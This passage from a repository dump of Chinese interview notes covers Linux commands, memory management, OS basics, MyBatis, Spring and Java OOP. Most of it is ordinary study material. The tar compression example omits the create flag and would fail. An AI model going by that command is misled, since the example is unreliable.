的后面可以接字串，这些字串可以取代 n1,n2 之间的行！\n        d   ∶删除，因为是删除啊，所以 d 后面通常不接任何咚咚；\n        i   ∶插入， i 的后面可以接字串，而这些字串会在新的一行出现(目前的上一行)；\n        p  ∶列印，亦即将某个选择的资料印出。通常 p 会与参数 sed -n 一起运作～\n        s  ∶取代，可以直接进行取代的工作哩！通常这个 s 的动作可以搭配正规表示法！例如 1,20s/old/new/g！\n         g 是行内进行全局替换\n```\n\n##　umask\n\n当我们登录系统之后创建一个文件总是有一个默认权限的，那么这个权限是怎么来的呢？这就是umask干的事情。**umask设置了用户创建文件的默认权限，它与chmod的效果刚好相反，umask设置的是权限“补码”，而chmod设置的是文件权限码**。\n\n计算方法如下：\n\n```\n\n例如，对于umask值0 0 2，相应的文件和目录缺省创建权限是什么呢？ // 664 775\n第一步，我们首先写下目录具有全部权限的模式，即777 (所有用户都具有读、写和执行权限)，文件默认是666。\n第二步，在下面一行按照umask值写下相应的位，在本例中是0 0 2。\n第三步，在接下来的一行中记下上面两行中没有匹配的位。这就是目录的缺省创建权限。\n稍加练习就能够记住这种方法。\n第四步，对于文件来说，在创建时不能具有执行权限，只要拿掉相应的执行权限比特即可。\n\n```\n\n## useradd\n\n格式：**useradd [选项] 用户名**\n```\n-p 设定帐号的密码\n-d 指定用户的主目录\n-m 自动建立用户的主目录\n-M 不要自动建立用户的主目录\n```\n\n## mount && umount\n\n```\n\nmount [选项] <-t 类型> [-o 挂载选项] <设备> <挂载点>\n\numount <挂载点|设备>\n\n```\n\n\n##find\n\n```\n\nfind [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression]\n\n```\n\n\n##grep\n\n\n在文件中搜索指定字符所在行   \n格式： **grep [选项] 指定字符 文件**  \n-i 忽略大小写 -r 递归  -v 排除指定字符串  -n 显示列数 \n  \n```\n\neg: grep -i ab /etc/inittab \n\n```\n\n\n##tar\n\n\n常用的打包压缩和解压命令之一<br/>格式: **tar 选项 [压缩后文件名] [目录]** \n\n*注意：打包和压缩是两个不同概念，打包只是把所有文件放在一具类似包中，并不改变其大小，而压缩才会改变其大小*\n\n```\n\n压缩时常用    \n-c 打包(create)  -v显示详细信息(view) -f指定文件名(filename)  -z 打包同时压缩    \neg: tar -zvf word.tar word    \n\n解压缩时常用    \n-x 解包  -v显示详细信息(view) -f指定解压文件名(filename)  -z 解压缩    \neg: tar -zxf word.tar    \n \n```\n"
  },
  {
    "path": "docs/android/interview/basic/op/memory.md",
    "content": "# 内存管理\n\n## 存储器工作原理\n\n应用程序如何在计算机系统上运行的呢？首先，用编程语言编写和编辑应用程序，所编写的程序称为源程序，源程序不能再计算机上直接被运行，需要通过三个阶段的处理：**编译程序处理源程序并生成目标代码，链接程序把他们链接为一个可重定位代码，此时该程序处于逻辑地址空间中；下一步装载程序将可执行代码装入物理地址空间，直到此时程序才能运行**。\n\n### 程序编译\n\n源程序经过编译程序的处理生成目标模块（目标代码）。**一个程序可由独立编写且具有不同功能的多个源程序模块组成，由于模块包含外部引用（即指向其他模块中的数据或指令地址，或包含对库函数的引用），编译程序负责记录引用发生的位置，其处理结果将产生相应的多个目标模块，每个模块都附有供引用使用的内部符号表和外部符号表。符号表中依次给出各个符号名及在本目标模块中的名字地址，在模块链接时进行转换**。\n\n### 程序链接\n\n链接程序(Linker)的作用是根据目标模块之间的调用和依赖关系，将主调模块、被调模块以及所用到的库函数装配和链接成一个完整的可装载执行模块。根据程序链接发生的时间和链接方式，程序链接可分为以下三种方式：\n\n  - **静态链接**：在程序装载到内存和运行前，就已将它所有的目标模块及所需要的库函数进行链接和装配成一个完整的可执行程序且此后不再拆分。\n\n  - **动态链接**：在程序装入内存前并未事先进行程序各目标模块的链接，而是在程序装载时一边装载一边链接，生成一个可执行程序。在装载目标模块时，若发生外部模块调用，将引发响应外部目标模块的搜索、装载和链接。\n\n  - **运行时链接**：在程序执行过程中，若发现被调用模块或库函数尚未链接，先在内存中进行搜索以查看是否装入内存；若已装入，则直接将其链接到调用程序中，否则进行该模块在外存上的搜索，以及装入内存和进行链接，生成一个可执行程序。\n\n运行时链接将链接推迟到程序执行时，可以很好的提高系统资源的利用率和系统效率。\n\n### 程序装载\n\n程序装载就是将可执行程序装入内存，这里有三种方式：\n\n  - **绝对装载**：装载模块中的指令地址始终与其内存中的地址相同，即模块中出现的所有地址均为绝对地址。\n\n  - **可重定位装载**：根据内存当时的使用情况，决定将装载代码模块放入内存的物理位置。模块内使用的都是相对地址。\n\n  - **动态运行时装载**：为提高内存利用率，装入内存的程序可换出到磁盘上，适当时候再换入内存中，对换前后程序在内存中的位置可能不同，即允许进程的内存映像在不同时候处于不同位置，此时模块内使用的地址必定为相对地址。\n\n磁盘中的装载模块所使用的是逻辑地址，其逻辑地址集合称为进程的逻辑地址空间。进程运行时，其装载代码模块将被装入物理地址空间中，此时程序和数据的实际地址不可能同原来的逻辑一致。**可执行程序逻辑地址转换为物理地址的过程被称为 “地址重定位”**。\n\n  - **静态地址重定位**：由装载程序实现装载代码模块的加载和物理地址转换，把它装入分配给进程的内存指定区域，其中所有逻辑地址修改为物理地址。地址转换在进程执行前一次完成，易于实现，但不允许程序在执行过程中移动位置。\n\n  - **动态地址重定位**：由装载程序实现装载代码模块的加载，把它装入分配给进程的内存指定区域，但对链接程序处理过的程序的逻辑地址不做任何改变，程序内存起始地址被置入硬件专用寄存器 —— **重定位寄存器**。程序执行过程中，每当CPU引用内存地址时，有硬件截取此逻辑地址，并在它被发送到内存之前加上重定位寄存器的值，以实现地址转换。\n\n  - **运行时链接地址重定位**：对于静态和动态地址重定位装载方式而言，装载代码模块是由整个程序的所有目标模块及库函数经链接和整合构成的可执行程序，即在程序启动执行前已经完成了程序的链接过程。可见，装载代码的正文结构是静态的，在程序运行期间保持不变。**运行时链接装载方式必然采用运行时链接地址重定位**。\n\n> 重定位寄存器：用于保存程序内存起始地址。\n\n## 连续存储管理\n\n### 固定分区存储管理\n\n固定分区存储管理又称为静态分区模式，基本思想是：内存空间被划分成数目固定不变的分区，各分区大小不等，每个分区装入一个作业，若多个分区中都有作业，则他们可以并发执行。\n\n为说明各分区分配和使用情况，需要设置一张内存分配表，记录内存中划分的分区及其使用情况。内存分配表中指出各分区起始地址和长度，占用标志用来指示此分区是否被使用。\n\n### 可变分区存储管理\n\n可变分区存储管理按照作业大小来划分分区，但划分的时间、大小、位置都是动态的。系统把作业装入内存时，根据其所需要的内存容量查看是否有足够空间，若有则按需分割一个分区分配给此作业；若无则令此作业等待内存资源。\n\n在可变分区模式下，内存中分区数目和大小随作业的执行而不断改变，为了方便内存空间的分配和去配，用于管理的数据结构可由两张表组成：**已分配区表和未分配区表。当装入新作业时，从未分配区表中找出一个足够容纳它的空闲区，将此区分为两个部分，一部分用来装入作业，成为已分配区；另一部分仍是空闲区（若有）。这时，应从已分配区表中找出一个空栏目登记新作业的起始地址、占用长度，同时修改未分配区表中空闲区的长度和起始地址。当作业撤离时，已分配区表中的相应状态改为空闲，而将收回的分区登记到为分配区中，若有相邻空闲区再将其连接后登记**。\n\n![](images/memory_1.png)\n\n### 常用的可变分区分配算法\n\n  - **最先适应分配算法**：该算法顺序查找未分配区表，直到找到第一个能满足长度要求的空闲区为止，分割此分区，一部分分配给作业，另一部分仍为空闲区。\n\n  - **下次适应分配算法**：该算法总是从未分配区的上次扫描结束处顺序查找未分配区表，直到找到第一个能满足长度要求的空闲区为止。\n\n  - **最优适应分配算法**：该算法扫描整个未分配区表，从空闲区中挑选一个能满足用户进程要求的最小分区进行分配。\n\n  - **最坏适应分配算法**：该算法扫描整个未分配区表，总是挑选一个最大的空闲区分割给作业使用，其优点是使剩下的空闲区不至于过小。\n\n  - **快速适应分配算法**：该算法为那些经常用到的长度的空闲区设立单独的空闲区链表。\n\n## 分页存储管理\n\n  - 逻辑空间等分为页；并从0开始编号\n  - 内存空间等分为块，与页面大小相同；从0开始编号\n  - 分配内存时，以块为单位将进程中的若干个页分别装入到多个可以不相邻接的物理块中。\n\n![](images/page.png)\n\n## 分段存储管理\n\n  - 逻辑空间分为若干个段，每个段定义了一组有完整逻辑意义的信息（如主程序`Main()`）。\n  - 内存空间为每个段分配一个连续的分区。\n\n![](images/segment.png)\n\n分页和分段的主要区别：\n\n  - **分页**：信息的物理单位。大小一样，由系统决定。地址空间是一维的。\n  - **分段**：信息的逻辑单位。大小不一样，由程序员决定。地址空间是二维的。\n\n## 段页式存储管理\n\n用户程序先分段，每个段内部再分页（内部原理同基本的分页、分段相同）\n\n![](images/segment-page.png)\n\n## 内存分配\n\n- `虚拟地址`：用户编程时将代码（或数据）分成若干个段，每条代码或每个数据的地址由`段名称 + 段内相对地址`构成，这样的程序地址称为虚拟地址\n- `逻辑地址`：虚拟地址中，段内相对地址部分称为逻辑地址\n- `物理地址`：实际物理内存中所看到的存储地址称为物理地址\n\n- `逻辑地址空间`：在实际应用中，将虚拟地址和逻辑地址经常不加区分，通称为逻辑地址。逻辑地址的集合称为逻辑地址空间\n- `线性地址空间`：CPU地址总线可以访问的所有地址集合称为线性地址空间\n- `物理地址空间`：实际存在的可访问的物理内存地址集合称为物理地址空间\n\n- `MMU(Memery Management Unit内存管理单元)`：实现将用户程序的虚拟地址（逻辑地址） -> 物理地址映射的CPU中的硬件电路\n- `基地址`：在进行地址映射时，经常以段或页为单位并以其最小地址（即起始地址）为基值来进行计算\n- `偏移量`：在以段或页为单位进行地址映射时，相对于基地址的地址值\n\n**虚拟地址先经过分段机制映射到线性地址，然后线性地址通过分页机制映射到物理地址**。\n\n## 虚拟内存--请求分页虚拟存储管理\n\n请求调页，也称按需调页，即对不在内存中的“页”，当进程执行时要用时才调入，否则有可能到程序结束时也不会调入。\n\n### 页面置换算法\n\n  - **FIFO算法**：先入先出，即淘汰最早调入的页面。\n\n  - **OPT(MIN)算法**：选未来最远将使用的页淘汰，是一种最优的方案，可以证明缺页数最小。可惜，MIN需要知道将来发生的事，只能在理论中存在，实际不可应用。\n\n  - **LRU(Least-Recently-Used)算法**：用过去的历史预测将来，选最近最长时间没有使用的页淘汰(也称最近最少使用)。性能最接近OPT。**与页面使用时间有关**。\n\n  - **LFU(Least Frequently Used)算法**：即最不经常使用页置换算法，要求在页置换时置换引用计数最小的页，因为经常使用的页应该有一个较大的引用次数。**与页面使用次数有关**。\n\n  - **Clock**：给每个页帧关联一个使用位，当该页第一次装入内存或者被重新访问到时，将使用位置为1。每次需要替换时，查找使用位被置为0的第一个帧进行替换。在扫描过程中，如果碰到使用位为1的帧，将使用位置为0，在继续扫描。如果所谓帧的使用位都为0，则替换第一个帧。\n\n**内存抖动现象**：页面的频繁更换，导致整个系统效率急剧下降，这个现象称为内存抖动（或颠簸）。抖动一般是内存分配算法不好，内存太小引或者程序的算法不佳引起的。\n\n**交换区**：用于保存请求分页淘汰出来的页面。\n"
  },
  {
    "path": "docs/android/interview/basic/op/os.md",
    "content": "# 操作系统基础\n\n## 操作系统提供的服务\n\n操作系统的五大功能，分别为：`作业管理`、`文件管理`、`存储管理`、`输入输出设备管理`、`进程及处理机管理`\n\n##  中断\n\n所谓的中断就是在计算机执行程序的过程中，由于出现了某些特殊事情，使得CPU暂停对程序的执行，转而去执行处理这一事件的程序。等这些特殊事情处理完之后再回去执行之前的程序。中断一般分为三类：\n\n  - `内部异常中断`：由计算机硬件异常或故障引起的中断；\n  - `软中断`：由程序中执行了引起中断的指令而造成的中断（这也是和我们将要说明的系统调用相关的中断）；\n  - `外部中断`：由外部设备请求引起的中断，比如I/O请求。\n\n>简单来说，对中断的理解就是对一些特殊事情的处理。\n\n与中断紧密相连的一个概念就是中断处理程序了。**当中断发生的时候，系统需要去对中断进行处理，对这些中断的处理是由操作系统内核中的特定函数进行的，这些处理中断的特定的函数就是我们所说的中断处理程序了**。\n\n另一个与中断紧密相连的概念就是中断的优先级。**中断的优先级说明的是当一个中断正在被处理的时候，处理器能接受的中断的级别。中断的优先级也表明了中断需要被处理的紧急程度。每个中断都有一个对应的优先级，当处理器在处理某一中断的时候，只有比这个中断优先级高的中断可以被处理器接受并且被处理。优先级比这个当前正在被处理的中断优先级要低的中断将会被忽略**。\n\n典型的中断优先级如下所示：\n\n```\n机器错误 > 时钟 > 磁盘 > 网络设备 >  终端 > 软件中断\n```\n\n当发生软件中断时，其他所有的中断都可能发生并被处理；但当发生磁盘中断时，就只有时钟中断和机器错误中断能被处理了。\n\n## 系统调用\n\n在讲系统调用之前，先说下进程的执行在系统上的两个级别：用户级和核心级，也称为`用户态`和`系统态`(`user mode` and `kernel mode`)。\n\n**程序的执行一般是在用户态下执行的，但当程序需要使用操作系统提供的服务时，比如说打开某一设备、创建文件、读写文件等，就需要向操作系统发出调用服务的请求，这就是系统调用**。\n\nLinux系统有专门的函数库来提供这些请求操作系统服务的入口，这个函数库中包含了操作系统所提供的对外服务的接口。**当进程发出系统调用之后，它所处的运行状态就会由用户态变成核心态。但这个时候，进程本身其实并没有做什么事情，这个时候是由内核在做相应的操作，去完成进程所提出的这些请求**。\n\n**系统调用和中断的关系就在于，当进程发出系统调用申请的时候，会产生一个软件中断。产生这个软件中断以后，系统会去对这个软中断进行处理，这个时候进程就处于核心态了**。\n\n那么用户态和核心态之间的区别是什么呢？\n\n  - 用户态的进程能存取它们自己的指令和数据，但不能存取内核指令和数据（或其他进程的指令和数据）。然而，核心态下的进程能够存取内核和用户地址\n  - 某些机器指令是特权指令，在用户态下执行特权指令会引起错误\n\n对此要理解的一个是，**在系统中内核并不是作为一个与用户进程平行的估计的进程的集合，内核是为用户进程运行的**。\n"
  },
  {
    "path": "docs/android/interview/basic/op/questions.md",
    "content": "# 面试题\n\n### PE文件\n\nPE文件的全称是`Portable Executable`，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE文件，PE文件是微软Windows操作系统上的程序文件（可能是间接被执行，如DLL）。\n\n***\n\n### 什么是活锁？与死锁有和区别？\n\n活锁指的是 **任务或者执行者没有被阻塞，由于某些条件没有满足，导致一直重复尝试，失败，尝试，失败**。 活锁和死锁的区别在于，处于活锁的实体是在不断的改变状态，所谓的“活”， 而处于死锁的实体表现为等待；**活锁有可能自行解开，死锁则不能**。\n\n活锁应该是一系列进程在轮询地等待某个不可能为真的条件为真。活锁的时候进程是不会`blocked`，这会导致耗尽CPU资源。\n\n为解决活锁可以引入一些随机性，例如如果检测到冲突，那么就暂停随机的一定时间进行重试。这回大大减少碰撞的可能性。典型的例子是以太网的`CSMA/CD`检测机制。\n\n***\n\n### 直接寻址与间接寻址？\n\n寻址方式就是处理器根据指令中给出的地址信息来寻找物理地址的方式，是确定本条指令的数据地址以及下一条要执行的指令地址的方法。在操作系统中分为指令寻址和操作数寻址。\n\n**指令寻址**：在内存中查找指令的方式。\n\n  - **顺序寻址方式**：即采用PC计数器来计数指令的顺序；\n  - **跳跃寻址方式**：下条指令的地址码不是由程序计数器给出，而是由本条指令给出。\n\n**操作数寻址**：形成操作数的有效地址的方法称为操作数的寻址方式。\n\n  - **立即寻址**：操作数作为指令的一部分而直接写在指令中；\n  - **直接寻址**：直接寻址是一种基本的寻址方法。**在指令格式的地址的字段中直接指出操作数在内存的地址。由于操作数的地址直接给出而不需要经过某种变换**，所以称这种寻址方式为直接寻址方式。\n  - **简介寻址**：间接寻址是相对直接寻址而言的，在间接寻址的情况下，**指令地址字段中的形式地址不是操作数的真正地址，而是操作数地址的指示器，或者说此形式地址单元的内容才是操作数的有效地址**。\n\n***\n\n### 如何从用户态切换到内核态？\n\n  1. 程序请求系统服务，执行系统调用\n  2. 程序运行期间产生中断事件，运行程序被中断，转向中断处理程序处理\n  3. 程序运行时产生异常事件，运行程序被打断，转向异常处理程序。\n\n这三种情况都是通过中断机制发生，可以说 **中断和异常是用户态到内核态转换的仅有途径**。\n\n***\n\n### 实时操作系统和分时操作系统的区别？\n\n  - **分时操作系统**：**多个联机用户同时适用一个计算机系统在各自终端上进行交互式会话，程序、数据和命令均在会话过程中提供，以问答方式控制程序运行**。系统把处理器的时间划分为时间片轮流分配给各个连接终端。\n  - **实时操作系统**：当外部时间或数据产生时，能够对其予以接受并以足够快的速度进行处理，所得结果能够在规定时间内控制生产过程或对控制对象作出快速响应，并控制所有实时任务协调的操作系统。因而，**提供及时响应和高可靠性是其主要特点**。实时操作系统有硬实时和软实时之分，硬实时要求在规定的时间内必须完成操作，这是在操作系统设计时保证的；软实时则只要按照任务的优先级，尽可能快地完成操作即可。我们通常使用的操作系统在经过一定改变之后就可以变成实时操作系统。\n\n下面还要补充一个批处理操作系统：**批处理是指用户将一批作业提交给操作系统后就不再干预，由操作系统控制它们自动运行。这种采用批量处理作业技术的操作系统称为批处理操作系统**。批处理操作系统分为单道批处理系统和多道批处理系统。批处理操作系统不具有交互性，它是为了提高CPU的利用率而提出的一种操作系统。\n\n如果某个操作系统兼有批处理、分时和实时处理的全部或两种功能，我们称为通用操作系统。\n"
  },
  {
    "path": "docs/android/interview/fromwork/README.md",
    "content": "# 框架"
  },
  {
    "path": "docs/android/interview/fromwork/mybatis/1-question.md",
    "content": "# 面试题\n\n\n## #{}和${}的区别是什么？\n\n```\n#{}是预编译处理，${}是字符串替换。\nMybatis在处理#{}时，会将sql中的#{}替换为?号，调用PreparedStatement的set方法来赋值；\nMybatis在处理${}时，就是把${}替换成变量的值。\n使用#{}可以有效的防止SQL注入，提高系统安全性。\n```\n\n## 通常一个Xml映射文件，都会写一个Dao接口与之对应，请问，这个Dao接口的工作原理是什么？Dao接口里的方法，参数不同时，方法能重载吗？\n\n```\nDao接口，就是人们常说的Mapper接口，接口的全限名，就是映射文件中的namespace的值，接口的方法名，就是映射文件中MappedStatement的id值，接口方法内的参数，就是传递给sql的参数。Mapper接口是没有实现类的，当调用接口方法时，接口全限名+方法名拼接字符串作为key值，可唯一定位一个MappedStatement，举例：com.mybatis3.mappers.StudentDao.findStudentById，可以唯一找到namespace为com.mybatis3.mappers.StudentDao下面id = findStudentById的MappedStatement。在Mybatis中，每一个<select>、<insert>、<update>、<delete>标签，都会被解析为一个MappedStatement对象。\n\nDao接口里的方法，是不能重载的，因为是全限名+方法名的保存和寻找策略。\n\nDao接口的工作原理是JDK动态代理，Mybatis运行时会使用JDK动态代理为Dao接口生成代理proxy对象，代理对象proxy会拦截接口方法，转而执行MappedStatement所代表的sql，然后将sql执行结果返回。\n```\n\n## 参考连接\n\n[Mybatis 的常见面试题](https://blog.csdn.net/eaphyy/article/details/71190441)\n"
  },
  {
    "path": "docs/android/interview/fromwork/mybatis/2-cache.md",
    "content": "# Mybatis 缓存机制\n\nMybatis 的缓存均缓存查询操作结果。按照作用域范围，可以分为：\n\n    - **一级缓存**： `SqlSession` 级别的缓存\n    - **二级缓存**： `namespace` 级别的缓存\n\n\n## 一级缓存\n\nMybatis 默认开启了一级缓存， 一级缓存有两个级别可以设置：分别是 `SESSION` 或者 `STATEMENT` 默认是 `SESSION` 级别，即在一个 MyBatis会话中执行的所有语句，都会共享这一个缓存。一种是 `STATEMENT` 级别，可以理解为缓存只对当前执行的这一个 `Statement` 有效。\n\n> STATEMENT 级别相当于关闭一级缓存\n\n```\n<setting name=\"localCacheScope\" value=\"SESSION\"/>\n```\n\n### 基本原理\n\n![](./image/2019-04-05-22-04-22.png)\n\n在一级缓存中，当 `sqlSession` 执行写操作（执行插入、更新、删除），清空 `SqlSession` 中的一级缓存。\n\n### 总结\n\n - MyBatis 一级缓存的生命周期和SqlSession一致。\n - MyBatis 一级缓存内部设计简单，只是一个没有容量限定的HashMap，在缓存的功能性上有所欠缺。\n - MyBatis 的一级缓存最大范围是SqlSession内部，有多个SqlSession或者分布式的环境下，数据库写操作会引起脏数据，建议设定缓存级别为Statement。\n\n## 二级缓存\n\n如果多个 SqlSession 之间需要共享缓存，则需要使用到二级缓存。开启二级缓存后，会使用 CachingExecutor 装饰 Executor ，进入一级缓存的查询流程前，先在C achingExecutor 进行二级缓存的查询，具体的工作流程如下所示。\n\n![](./image/2019-04-05-22-10-04.png)\n\n二级缓存开启后，同一个namespace下的所有操作语句，都影响着同一个Cache，即二级缓存被多个SqlSession共享，是一个全局的变量。当开启缓存后，数据的查询执行的流程就是 `二级缓存 -> 一级缓存 -> 数据库`。\n\n```\n<setting name=\"cacheEnabled\" value=\"true\"/>\n```\n\n### 总结\n\n  - MyBatis 的二级缓存相对于一级缓存来说，实现了 SqlSession 之间缓存数据的共享，同时粒度更加的细，能够到 namespace 级别，通过 Cache 接口实现类不同的组合，对Cache的可控性也更强。\n  - MyBatis 在多表查询时，极大可能会出现脏数据，有设计上的缺陷，安全使用二级缓存的条件比较苛刻。\n  - 在分布式环境下，由于默认的 MyBatis Cache 实现都是基于本地的，分布式环境下必然会出现读取到脏数据，需要使用集中式缓存将 MyBatis 的 Cache 接口实现，有一定的开发成本，直接使用 Redis、Memcached 等分布式缓存可能成本更低，安全性也更高。\n"
  },
  {
    "path": "docs/android/interview/fromwork/mybatis/3-proxy.md",
    "content": "# Mybatis 动态代理\n\n## 获取代理类流程\n\n获取Mapper代理类的时序图如下：\n\n![image](images/fecd42f80994ebfa775ea5e56166249b.png)\n\n重点说下MapperProxy类，声明如下：\n\n```\npublic class MapperProxy<T> implements InvocationHandler, Serializable\n```\n\n获取到 `MapperProxy` 之后，根据调用不同的方法，会将最终的参数传递给 `SqlSession`。\n"
  },
  {
    "path": "docs/android/interview/fromwork/spring/1-ioc.md",
    "content": "# IOC\n\n`Ioc—Inversion of Control`，即“控制反转”，不是什么技术，而是一种设计思想。在Java 开发中，**Ioc意味着将你设计好的对象交给容器控制，而不是传统的在你的对象内部直接控制**。如何理解好Ioc呢？理解好Ioc的关键是要明确“谁控制谁，控制什么，为何是反转（有反转就应该有正转了），哪些方面反转了”，那我们来深入分析一下：\n\n　　- 谁控制谁，控制什么：传统Java SE程序设计，我们直接在对象内部通过new进行创建对象，是程序主动去创建依赖对象；而IoC是有专门一个容器来创建这些对象，即由Ioc容器来控制对 象的创建；谁控制谁？当然是IoC 容器控制了对象；控制什么？那就是主要控制了外部资源获取（不只是对象包括比如文件等）。\n　　- 为何是反转，哪些方面反转了：有反转就有正转，传统应用程序是由我们自己在对象中主动控制去直接获取依赖对象，也就是正转；而反转则是由容器来帮忙创建及注入依赖对象；为何是反转？因为由容器帮我们查找及注入依赖对象，对象只是被动的接受依赖对象，所以是反转；哪些方面反转了？依赖对象的获取被反转了。\n\n## IoC能做什么\n\n　　**IoC 不是一种技术，只是一种思想，一个重要的面向对象编程的法则，它能指导我们如何设计出松耦合、更优良的程序**。传统应用程序都是由我们在类内部主动创建依赖对象，从而导致类与类之间高耦合，难于测试；有了IoC容器后，把创建和查找依赖对象的控制权交给了容器，由容器进行注入组合对象，所以对象与对象之间是 松散耦合，这样也方便测试，利于功能复用，更重要的是使得程序的整个体系结构变得非常灵活。\n\n## IoC和DI\n\n`DI—Dependency Injection`，即“依赖注入”：组件之间依赖关系由容器在运行期决定，形象的说，即由容器动态的将某个依赖关系注入到组件之中。依赖注入的目的并非为软件系统带来更多功能，而是为了提升组件重用的频率，并为系统搭建一个灵活、可扩展的平台。通过依赖注入机制，我们只需要通过简单的配置，而无需任何代码就可指定目标需要的资源，完成自身的业务逻辑，而不需要关心具体的资源来自何处，由谁实现。\n\n理解DI的关键是：“谁依赖谁，为什么需要依赖，谁注入谁，注入了什么”，那我们来深入分析一下：\n\n　　- **谁依赖于谁**：当然是应用程序依赖于IoC容器；\n　　- **为什么需要依赖**：应用程序需要IoC容器来提供对象需要的外部资源；\n　　- **谁注入谁**：很明显是IoC容器注入应用程序某个对象，应用程序依赖的对象；\n　　- **注入了什么**：就是注入某个对象所需要的外部资源（包括对象、资源、常量数据）。\n\nIoC和DI由什么关系呢？其实它们是同一个概念的不同角度描述，由于控制反转概念比较含糊（可能只是理解为容器控制对象这一个层面，很难让人想到谁来维护对象关系），所以2004年大师级人物Martin Fowler又给出了一个新的名字：“依赖注入”，**相对IoC 而言，“依赖注入”明确描述了“被注入对象依赖IoC容器配置依赖对象”**。\n\n## IOC vs Factory\n\n简单来说，IOC 与 工厂模式 分别代表了 push 与 pull 的机制：\n\n  - Pull 机制：类间接依赖于 Factory Method ，而 Factory Method 又依赖于具体类。\n  - Push 机制：容器可以在一个位置配置所有相关组件，从而促进高维护和松耦合。\n\n**使用 工厂模式 的责任仍然在于类（尽管间接地）来创建新对象，而 依赖注入 将责任外包**。\n"
  },
  {
    "path": "docs/android/interview/fromwork/spring/2-design-partten.md",
    "content": "# 设计模式\n\n  - 代理模式：AOP\n  - 单例模式：默认 Bean 为单例\n  - 工厂模式：BeanFactory\n  - IOC：依赖倒置 or 依赖注入\n  - MVC：spring web\n  - 模版方法模式：JdbcTemplate\n"
  },
  {
    "path": "docs/android/interview/fromwork/spring/3-aop.md",
    "content": "# AOP\n\n## AOP 的存在价值\n\n在传统 OOP 编程里以对象为核心，整个软件系统由系列相互依赖的对象所组成，而这些对象将被抽象成一个一个的类，并允许使用类继承来管理类与类之间一般到特殊的关系。随着软件规模的增大，应用的逐渐升级，慢慢出现了一些 OOP 很难解决的问题。\n\n我们可以通过分析、抽象出一系列具有一定属性与行为的对象，并通过这些对象之间的协作来形成一个完整的软件功能。由于对象可以继承，因此我们可以把具有相同功能或相同特性的属性抽象到一个层次分明的类结构体系中。随着软件规范的不断扩大，专业化分工越来越系列，以及 OOP 应用实践的不断增多，随之也暴露出了一些 OOP 无法很好解决的问题。\n"
  },
  {
    "path": "docs/android/interview/fromwork/spring/README.md",
    "content": "# Spring\n\nSpring Framework 是一个开源的Java／Java EE全功能栈（full-stack）的应用程序框架，其提供了一个简易的开发方式，这种开发方式，将避免那些可能致使底层代码变得繁杂混乱的大量的属性文件和帮助类。\n\n## Spring中包含的关键特性\n\n  - 强大的基于JavaBeans的采用 **控制反转** （Inversion of Control，IoC）原则的配置管理，使得应用程序的组建更加快捷简易。\n  - 一个可用于 Java EE 等运行环境的核心 **Bean 工厂**。\n  - 数据库事务的一般化抽象层，允许声明式（Declarative）事务管理器，简化事务的划分使之与底层无关。\n  - 内建的针对 JTA 和单个 JDBC 数据源的一般化策略，使 Spring 的事务支持不要求Java EE环境，这与一般的JTA或者EJB CMT相反。\n  - JDBC 抽象层提供了有针对性的异常等级（不再从SQL异常中提取原始代码），简化了错误处理，大大减少了程序员的编码量。再次利用JDBC时，你无需再写出另一个'终止'（finally）模块。并且面向JDBC的异常与Spring通用数据访问对象（Data Access Object）异常等级相一致。\n  - 以资源容器，DAO实现和事务策略等形式与 Hibernate，JDO 和 MyBatis、SQL Maps 集成。利用众多的翻转控制方便特性来全面支持，解决了许多典型的 Hibernate 集成问题。所有这些全部遵从 Spring 通用事务处理和通用数据访问对象异常等级规范。\n  - 灵活的基于核心 Spring 功能的 MVC 网页应用程序框架。开发者通过策略接口将拥有对该框架的高度控制，因而该框架将适应于多种呈现（View）技术，例如 JSP、FreeMarker、Velocity、Thymeleaf 等。值得注意的是，Spring 中间层可以轻易地结合于任何基于 MVC 框架的网页层，例如 Struts、WebWork 或 Tapestry。\n  - 提供诸如事务管理等服务的AOP框架。\n"
  },
  {
    "path": "docs/android/interview/java/1-oop.md",
    "content": "# 面向对象基础\n\n![](images/oop.gif)\n\n面向对象三要素：封装、继承、多态\n\n- `封装`：封装的意义，在于明确标识出允许外部使用的所有成员函数和数据项，或者叫接口。\n- `继承`：\n    - 继承基类的方法，并做出自己的扩展；\n    - 声明某个子类兼容于某基类（或者说，接口上完全兼容于基类），外部调用者可无需关注其差别（内部机制会自动把请求派发`dispatch`到合适的逻辑）。\n- `多态`：基于对象所属类的不同，外部对同一个方法的调用，实际执行的逻辑不同。**很显然，多态实际上是依附于继承的第二种含义的**。\n\n## 多态\n\n方法签名：`方法名 + 参数列表(参数类型、个数、顺序)`\n\n### 重写\n\n子类重写父类方法，**只有实例方法可以被重写**，重写后的方法必须仍为实例方法。**成员变量和静态方法都不能被重写，只能被隐藏**。\n\n重写实例方法：超类Parent中有实例方法A，子类child定义了与A **相同签名和子集返回类型** 的实例方法B，子类对象ChildObj只能调用自己的实例方法B。\n\n  >方法的重写（override）两同两小一大原则：\n\n  >1. 方法名相同，参数类型相同\n\n  >2. 子类返回类型小于等于父类方法返回类型\n\n  >3. 子类抛出异常小于等于父类方法抛出异常\n\n  >4. 子类访问权限大于等于父类方法访问权限\n\n注意：\n\n  - 不能重写static静态方法。(形式上可以写，但本质上不是重写，属于下面要讲的隐藏)\n\n  - 重写方法可以改变其它的方法修饰符，如`final`,`synchronized`,`native`。不管被重写方法中有无final修饰的参数，重写方法都可以增加、保留、去掉这个参数的 final 修饰符(**参数修饰符不属于方法签名**)。\n\n### 重载\n\n在同一个类中，有多个方法名相同，参数列表不同（参数个数不同，参数类型不同），与方法的返回值无关，与权限修饰符无关。**编译器通过对方法签名的识别即可静态编译出不同的方法。这也是java中重载与重写的区别之一**。\n\n  > 重载只是一种语言特性，与多态无关，与面向对象也无关。**多态是为了实现接口重用**。\n\nJava中方法是可以和类名同名的，和构造方法唯一的区别就是，**构造方法没有返回值**。\n\n### 隐藏\n\n隐藏与覆盖在形式上极其类似(语法规则)，但有着本质的区别：只有成员变量(不管是不是静态)和静态方法可以被隐藏。\n\n#### 成员变量\n\n超类 Parent 中有成员变量 A ，子类 Child 定义了与 A 同名的成员变量 B ，子类对象 ChildObj 调用的是自己的成员变量 B。如果把子类对象 ChildObj 转换为超类对象 ParentObj ，ParentObj 调用的是超类的成员变量 A ！\n\n  1. 隐藏成员变量时，只要同名即可，可以更改变量类型(无论基本类型还是隐藏类型)\n\n  2. 不能隐藏超类中的 private 成员变量，换句话说，只能隐藏可以访问的成员变量。\n\n  3. 隐藏超类成员变量 A 